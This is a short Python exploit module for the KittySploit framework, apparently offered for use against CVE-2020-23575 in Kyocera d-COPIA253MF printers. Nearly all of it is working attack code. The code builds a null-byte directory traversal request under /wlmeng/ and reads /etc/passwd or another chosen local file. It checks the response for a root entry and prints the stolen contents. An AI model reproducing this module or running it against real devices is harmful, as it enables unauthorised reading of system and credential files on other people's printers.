Kyocera Printer LFI (CVE-2020-23575)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kyocera printer wlmeng traversal LFI (CVE-2020-23575)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Kyocera Printer LFI (CVE-2020-23575)',
        'description': (
            'Exploits CVE-2020-23575 in Kyocera d-COPIA253MF: null-byte directory traversal '
            'via /wlmeng/ reads /etc/passwd and other local files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-23575'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-23575'],
        'tags': ['kyocera', 'printer', 'iot', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_23575_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)

    def _path(self, remote: str) -> str:
        depth = '../' * 15
        target = remote.lstrip('/')
        return f'/wlmeng/{depth}{target}%00index.htm'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'Kyocera traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Kyocera LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Kyocera printer not vulnerable')
            return False
        body = self.execute(str(self.file_path or '/etc/passwd'))
        print_success(body[:4000])
        return True